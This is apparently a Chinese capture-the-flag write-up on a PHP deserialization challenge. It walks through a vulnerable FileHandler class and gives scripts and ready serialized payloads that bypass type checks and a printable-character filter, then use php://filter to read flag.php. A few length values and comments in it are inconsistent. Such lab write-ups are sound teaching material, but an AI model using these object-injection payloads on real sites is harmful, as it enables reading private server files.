目录
一、题目分析
点击页面查看源码,可以发现有一个类FileHandler,
关键是类中的三个参数op,filename,$content,都是protected类型的
接下来仔细分析每个函数:
(1)构造函数
构造函数在类被创建时调用,这里将op初始化为字符1,并初始化filename和content,最后调用process函数。
php
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
(2)process函数
判断op的值,如果op=1调用write函数,如果$op=2调用read函数,并output读取到的内容。
注意这里的比较是弱比较 ,也就是说比较的时候会自动把等号两边的变量类型转换为一样,只要我们将op置为数字2,那么这里的第二个if中的弱等于就会返回true,从而执行read函数,并将结果输出
php
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
(3)write函数
写入函数,可以执行写入文件的操作,判断传入的内容content的长度是否大于100。
$res = file_put_contents($this->filename, $this->content);
filename表示要写入的文件,content表示要写入文件的内容。
php
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
(4)read函数
read函数执行写的功能,通过file_get_contents函数读取想要读取的文件,值得注意的是,读取的内容并不会直接输出,要想查看输出的内容需要查看源码,或者使用filter协议来进行读取。
这里我们可以知道,题目提示有flag.php文件,我们可以利用read函数来进行读取flag.php文件的内容。
php
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
(5)destruct函数
在php中,destruct会在序列化的时候自动调用。
这里判断$op的值是否为字符2, 这里的比较为强比较类型,如果为字符2,就将op置为字符1,并将content置为空。
通过前面的分析我们知道,read函数是通过process函数来调用的,如果op被置为1,就不会调用read函数,于是我们要绕过,可以将令op等于数字2,这样在强比较下,$this->op === "2"是不成立的,实现绕过。
php
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
(6)is_vaild判断条件函数
用于判断传入的字符串s的每一个字符的ascii码值,是不是都在[32,125]这个区间内,如果是则返回true,不是则返回false;
php
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
查看ascii码表发现[32,125]这个区间内的都是可打印字符。
(7)传参判断条件
get方式传入str,判断str是否都是可打印的字符,如果是就将str反序列化。
看到这里我们已经有了解题的思路,即将序列化的内容传入str即可。
php
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
二、解题
首先我们令op等于数字2,绕过destruct
函数的的强比较。
在上面我们提到read函数当中的 file_get_contents
不能直接显示read文件的内容,这里我们采用filter协议来读取文件内容。
php
<?php
highlight_file(__FILE__);
class FileHandler {
protected $op=2;
protected $filename="php://filter/convert.base64-encode/resource=/web/html/flag.php";
protected $content;
}
$FileHandler = new FileHandler();
$test = serialize($FileHandler);
echo $test;
但是我们执行程序之后发现,输出的内容存在不可读的字符,即乱码字符。
这是因为我们的变量**op,filename,$content,都是protected类型的,输出的时候会在变量名前面加上%00*%00,我们所见到的不可打印字符就是%00,其ascii码值为0.**
如果将这串存在不可打印字符的字符串传入str参数,is_valid函数的返回值为0,从而就不会调用unserilize函数。
解法一:
将chr(0)以转化为\00*\00的方式输出,并将小写的s: 替换为大写的**S:**输出,利用大写S采用的16进制,来绕过is_valid中对空字节的检查。
php
<?php
highlight_file(__FILE__);
class FileHandler
{
protected $op=2;
protected $filename="php://filter/convert.base64-encode/resource=flag.php";
protected $content;
}
$a=new FileHandler();
$b=serialize($a);
$b = str_replace(chr(0), '\00', $b);
$b = str_replace('s:','S:', $b);
echo $b;
#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}
得到的payload
php
?str=O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:52:"php://filter/convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}
可以看到flag.php以base64的方式读取出来了,解密即可得到flag
解法二:
php7.1+版本对属性类型不敏感,本地序列化的时候将属性改为public进行绕过即可.
php
<?php
highlight_file(__FILE__);
class FileHandler
{
public $op=2;
public $filename="php://filter/convert.base64-encode/resource=flag.php";
public $content;
}
$a=new FileHandler();
$b=serialize($a);
#$b = str_replace(chr(0), '\00', $b);
#$b = str_replace('s:','S:', $b);
echo $b;
#O:11:"FileHandler":3:{S:5:"\00*\00op";i:2;S:11:"\00*\00filename";S:57:"php://filter/read=convert.base64-encode/resource=flag.php";S:10:"\00*\00content";N;}
构造payload:
php
?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:52:"php://filter/convert.base64-encode/resource=flag.php";s:7:"content";N;}
就写到这里啦,喜欢的话给我点个赞吧!!!